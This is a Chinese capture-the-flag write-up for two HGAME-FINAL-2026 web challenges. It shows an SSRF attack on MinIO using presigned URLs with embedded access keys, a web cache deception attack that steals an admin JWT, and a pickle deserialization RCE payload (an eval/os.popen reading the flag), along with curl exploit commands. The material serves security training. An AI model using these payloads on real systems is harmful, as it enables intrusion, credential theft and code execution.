HGAME-FINAL-2026-WEB

80次阅读
没有评论

WEB

VidarNet

题目拿到手,发现一个对象存储还有一个http服务

HGAME-FINAL-2026-WEB

老规矩,先扫描目录,看看能找到什么好东西:

HGAME-FINAL-2026-WEB

发现一个graphql,这个是用来查询快捷查询数据库字段信息的开发工具,那我们可以直接查询Employee字段:

HGAME-FINAL-2026-WEB

得到两个员工账号的,登录进去看看:

{
  "data": {
    "employees": [
      {
        "department": "Web",
        "email": "Tremse@vidar.club",
        "id": 1,
        "name": "Tremse",
        "private": "[INTERNAL] System account: Tremse | Default password: Tremse123 | Please reset on first login.",
        "username": "Tremse"
      },
      {
        "department": "Reverse",
        "email": "shiori@vidar.club",
        "id": 2,
        "name": "shiori",
        "private": "[INTERNAL] System account: shiori | Default password: shiori123 | Please reset on first login.",
        "username": "shiori"
      }
    ]
  }
}

发现了一个对象存储信息,minio3,同时还有一个头像地址,那么很显然这是要进行SSRF,要借用那个获取头像的功能去获取存储桶内的信息。

HGAME-FINAL-2026-WEB

构造payload:

import boto3
from botocore.client import Config

# 本地配置客户端,用于纯粹的数学签名计算,不实际发起网络连接
s3 = boto3.client('s3',
    endpoint_url='http://127.0.0.1:9000',
    aws_access_key_id='user',
    aws_secret_access_key='user4OSs',
    region_name='us-east-1',
    # 针对 MinIO 的关键配置:强制路径风格访问
    config=Config(signature_version='s3v4', s3={'addressing_style': 'path'})
)

# 生成列出存储桶 company-assets 内容的 URL
list_url = s3.generate_presigned_url(
    ClientMethod='list_objects_v2',
    Params={'Bucket': 'company-assets'},
    ExpiresIn=3600
)

print("\n--- 把下面这长串 URL 复制到 Image URL 框里 ---")
print(list_url)

HGAME-FINAL-2026-WEB

我们知道了存储桶里面存在 flag.txt 尝试进一步获取:

import boto3
from botocore.client import Config

# 本地配置客户端,用于生成带有签名的下载链接
s3 = boto3.client('s3',
    endpoint_url='http://127.0.0.1:9000',
    aws_access_key_id='user',
    aws_secret_access_key='user4OSs',
    region_name='us-east-1',
    config=Config(signature_version='s3v4', s3={'addressing_style': 'path'})
)

# 目标文件名
target_file = 'flag.txt'

# 生成读取文件 (GetObject) 的预签名 URL
get_url = s3.generate_presigned_url(
    ClientMethod='get_object',
    Params={'Bucket': 'company-assets', 'Key': target_file},
    ExpiresIn=3600
)

print(f"\n--- 把下面这段长 URL 复制到 Image URL 框里 ---")
print(get_url)

提示权限不足:

HGAME-FINAL-2026-WEB

这个时候,尝试直接获取,因为往往从内网(比如127.0.0.1)直接对存储桶发起请求不进行鉴权:
HGAME-FINAL-2026-WEB

得到flag

HGAME-FINAL-2026-WEB

Glance,savored

这道题一开始拿到手之后一直在当XSS信息外带来做,但是后来发现并没有任何能够进行XSS的地方,偶然间在curl当中看到了X-Cache-Status: 因此找到破题关键:

HGAME-FINAL-2026-WEB

使用JWT鉴权

HGAME-FINAL-2026-WEB

后端用的是 python3.11 并且从api文档里面能够找到一个明显的RCE点 就是 /api/data/import,但是需要鉴权。

反复在/api/report 尝试在路径中拼接xss无果,决定使用curl获取一下页面的源码,结果发现似乎用了缓存:

HGAME-FINAL-2026-WEB

那,这题会不会和缓存有关系呢?

查询资料:

nginx 缓存机制

nginx 通常配置为缓存静态资源来减轻后端压力:

# 典型配置:缓存静态文件
location ~* \.(css|js|png|jpg)$ {
    proxy_cache my_cache;
    proxy_pass http://backend;
}

当请求路径以 .css​ 结尾时,nginx 认为是静态文件,​缓存响应内容,后续相同 URL 直接返回缓存,不再转发给后端。

后端路径解析差异

关键在于 ​nginx 和 Python 后端解析路径的方式不同

请求: /api/profile/admin.css

nginx 看到:  *.css → 静态文件 → 缓存它!
Python 看到: /api/profile/* → 路由匹配 /api/profile → 返回用户数据

Python(Flask/FastAPI)通常做前缀匹配或忽略尾部多余路径,正常返回 profile 数据。

攻击流程

┌─────────┐        ┌─────────┐        ┌─────────┐
│  Admin  │──①───→ │  nginx  │──②───→ │ Python  │
│   Bot   │        │ (cache) │        │ backend │
└─────────┘        └─────────┘        └─────────┘
                        │
① Admin 访问 /api/profile/admin.css(带 admin token)
② nginx 没有缓存,转发给后端
③ 后端返回 admin 的 profile JSON(含 token)
④ nginx 看到 .css 后缀 → 缓存这个响应

┌─────────┐        ┌─────────┐
│ 攻击者   │──⑤───→ │  nginx  │  ← 不转发后端,直接返回缓存
│(无token)│←─⑥──   │ (cache) │
└─────────┘        └─────────┘

⑤ 攻击者访问同一 URL(无需 token)
⑥ nginx 返回缓存的 admin profile!

验证标志

在响应头里看到的:

  • X-Cache-Status: MISS​ → 首次请求,缓存未命中,请求被转发并缓存了响应
  • X-Cache-Status: HIT​ → 命中缓存,直接返回,绕过了认证
  • X-Cache-Status: BYPASS → 正常 API 路径,nginx 不缓存

由此,我们可以构造攻击链:

Web Cache Deception     →  Pickle 反序列化
偷 admin token              RCE 读 flag

/api/profile/x.css      →  /api/data/import
让 admin 访问,缓存 token     用 admin token 发送恶意 pickle

那么,我们可以先让admin去尝试访问 /api/profile/admin.css 这样的话 nginx里面现在没有缓存,会直接把请求交给python后端,这样会留下admin的token信息

curl -i -X POST "http://forward.vidar.club:30792/api/report" \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <GUEST_TOKEN>" \
     -d '{"url": "/api/profile/admin.css"}'

HGAME-FINAL-2026-WEB

随后,尝试去访问 /api/profile/admin.css 由于刚才admin bot去访问过了这个页面,所以admin的token被加载到了缓存中,我们只要尝试访问就能命中缓存,得到admin token

curl -i -X GET "http://forward.vidar.club:30792/api/profile/admin.css" \
     -H "Authorization: Bearer <GUEST_TOKEN>"

HGAME-FINAL-2026-WEB

那么现在就可以进行RCE了

对于pickle反序列化:

python3 -c "
import pickle, base64

class Exploit(object):
    def __reduce__(self):
        return (eval, (\"__import__('os').popen('cat /flag*').read()\",))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
"
gASVRwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwrX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnKicpLnJlYWQoKZSFlFKULg==

用生成的 base64 发送:

curl -X POST http://forward.vidar.club:30792/api/data/import \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.ugcc4KzFARPVlNH1Rln55H2Swu7ubUpr5pNK7oXmPSc" \
  -H "Content-Type: application/json" \
  -d '{"data":"BASE64_HERE"}'

HGAME-FINAL-2026-WEB

得到了flag

正文完
 0
评论(没有评论)